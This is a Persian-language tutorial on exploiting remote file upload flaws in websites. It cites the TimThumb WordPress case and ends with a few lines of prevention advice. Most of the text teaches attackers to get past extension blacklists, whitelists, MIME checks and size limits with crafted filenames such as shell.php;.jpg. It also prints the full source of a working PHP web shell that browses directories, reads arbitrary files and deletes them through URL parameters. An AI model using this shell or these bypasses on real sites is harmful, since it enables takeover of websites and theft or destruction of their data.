Remote File Upload

RFU مخفف remote file upload است و همانطور که از نام ان مشخص است هنگام اپلود فایل در سرور ایناسیب پذیری به وجود می اید که باعث می شود نفوذگر فایل های خود را در سرور اپلود کند و به اهداف خود برسد به صورت کلی این اسیب پذیری بسیار خطر ناک است و موجب می شود هکر از وب سایت دسترسی کاملبگیرد اما حالت های دیگری هم وجود دارد که خطر اسیب پذیری کم می شود که با ان ها اشنا خواهید شد.اگر یک اپلودر سایت به باگ RFU اسیب پذیر باشد میتوانید فایل خود را اپلود کنید برای مثال اگر سایت مورد نظر شما از php پشتیبانی می کند میتوانید یک شل اسکریپت با زبان php در ان اپلود کنید که در این صورت دسترسی کامل خواهید گرفتامازمانی دیگر ممکن است فایل هایی مانند txt , html , js که فقط سمت کلاینت اجرا میشوند فقط بتوانید اپلود کنید که در این صورت هیچ دسترسی نخواهید داشت و فقط میتوانید یک صفحه دیفیس برای ثبت سایت ایجاد کنید یا نهایتا اطلاعات کاربرانی که به ان صفحه می ایند را با روش های فیشینگ استخراج کنید.مثال این آسیب پذیری در افزونه های وردپرسیآسیب پذیری TimThumb که تعداد بسیار زیادی از پلاگین ها و مضامین را تحت تأثیر قرار داده است.یک آسیب پذیری آپلود فایل از راه دور است. در مورد TimThumb کتابخانه تصویر راهی را در اختیار توسعه دهندگان قرار داد تا بتوانند URL تصویر را در رشته پرس و جو مشخص کنند تا TimThumb.php سپس آن تصویر را از وب واکشی کند.می توان URL تصویر را دستکاری کرد تا مهاجم بتواند یک فایل PHP را که در وب سایت خود مهاجمان میزبانی شده است مشخص کند. سپس TimThumb آن فایل PHP را واکشی می کند و آن را در وب سایت قربانی در دایرکتوری قابل دسترسی از وب ذخیره می کند. پس از آن مهاجم به سادگی به آن فایل PHP در مرورگر خود دسترسی پیدا می کند و می تواند آن را اجرا کند.محدودیت ها و روش هایی که عمدتا در جهت جلوگیری از آپلود فایل غیر مجاز استفاده می شوند عبارتند از:1-black list:در این روش پسوند های غیر مجازی مشخص می شوند(php, asp, aspx) که با روش های زیر می توان ان ها را بایپس کرد:استفاده از پسوند هایی که رایج نیستند:php5”, “.pht”, “.phtml”, “.shtml”, “.asa”, “.cer”, “.asax”فایل هایی با دو پسوند: file.php.jpgحروف بزرگ: shell.PhPاستفاده از ( ; ) : shell.php;.jpg با استفاده از / پسوند را بایپس کنیم: /file.jpg/index.php بایپس با . و اسپیس:file.asp … … . . .. ..استفاده از اسلش و بک اسلش:test.php/ or test.php.\فایروال پسوند .php را فیلتر میکند پس اینجوری ان را بایپس می کنیم:file.p.phphpو فایل ما در سرور به صورت file.php خوانده می شود2- white listدر این روش برخلاف روش قبل سرور بررسی میکند که پسوند فایل یکی از پسوند های مجاز باشدبطور مثال در قسمت آپلود عکس برای پروفایل کاربری سرور یکی از extension های زیر را قبول میکندJpg, png, gif, jpeg, ...این روش را هم می توان با دو پسوند و semicolon و Null byte و برخی روش های بالا بایپس کرد:semicolon: shell.php;.jpgDouble extension: shell.php.pngNull byte: shell.php .png3-mime type: برای مثال اگر mime type برای php باشد اجازه ی اپلود نداریم که می توان این روش را هم بایپس کرد.درخواست را اسنیف می کنیم و میم تایپ php را به image/jpeg تغییر می دهیم..html=> text/html .xml=> text/xml .txt=> text/plain .rtf=> application/rtf .pdf=> application/pdf .word=> application/msword .png=> image/png .gif=> image/gif .jpeg,.jpg=> image/jpeg .au=> audio/basic mid,.midi=> audio/midi,audio/x-midi .ra, .ram=> audio/x-pn-realaudio .mpg,.mpeg=> video/mpeg .avi=> video/x-msvideo .gz=> application/x-gzip .tar=> application/x-tar .php=> application/octet-stream4.content lenth Validationحجم فایل آپلودی محدود میشود و در صورتی که بالاتر از حجم مورد نظر بطور مثال ۱۰۰ کیلوبایت باشد آپلود صورت نمیگیرد برای بایپس هم می توان از شل های کم حجم تر استفاده کرد( $uploaded_size < 10000 )mini shell:<?php$root = __DIR__;$style1='color:#000;';$style2='color:#00a;font-weight:bold;';function updir($ADir){ $ADir = substr($ADir, 0, strlen($ADir)-1); $ADir = substr($ADir, 0, strrpos($ADir, '/')); return $ADir;}if (isset($_GET['file'])) { if (isset($_GET['del'])){ unlink($_GET['file']); die; } if (is_file($_GET['file'])) { header("Content-type: text/plain"); readfile($_GET['file']); return; } $path = $_GET['file'].'/';} else $path = $root.'/';echo($root.'<br>');echo($path.'<hr>');echo '<a href="?file='.updir($path).'">..</a><br />';$p = $path.'*';foreach (glob($p) as $file) { echo '<span style="font-size:11px;color:#777;">'.substr(sprintf('%o',fileperms($file)),-4).'</span> <a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a> - <span style="font-size:11px;color:#777;">'.filesize($file).' - '.date("F d Y H:i:s", filemtime($file)).'</span><br />';}echo('<hr>'); 5-Using a File Type Detector:فایروال بجز پسوند چند خط از فایل را هم بررسی میکند که می توان با کامنت کردن یا encode کردن بایپس کردایمنی و راههای جلوگیری از این باگ:جلوگیری از این نوع آسیب پذیری مشابه جلوگیری از آسیب پذیری lfi است :پوشه فایل های آپلود شده را محدود کنیداز افزونه های غیرضروری استفاده نکنیدمحدودیت ها را با کدگذاری اعمال کنیداز فایروال برای جلوگیری از آپلود استفاده کنیدبرای آپلود فایل ها از یک سرور جداگانه استفاده کنید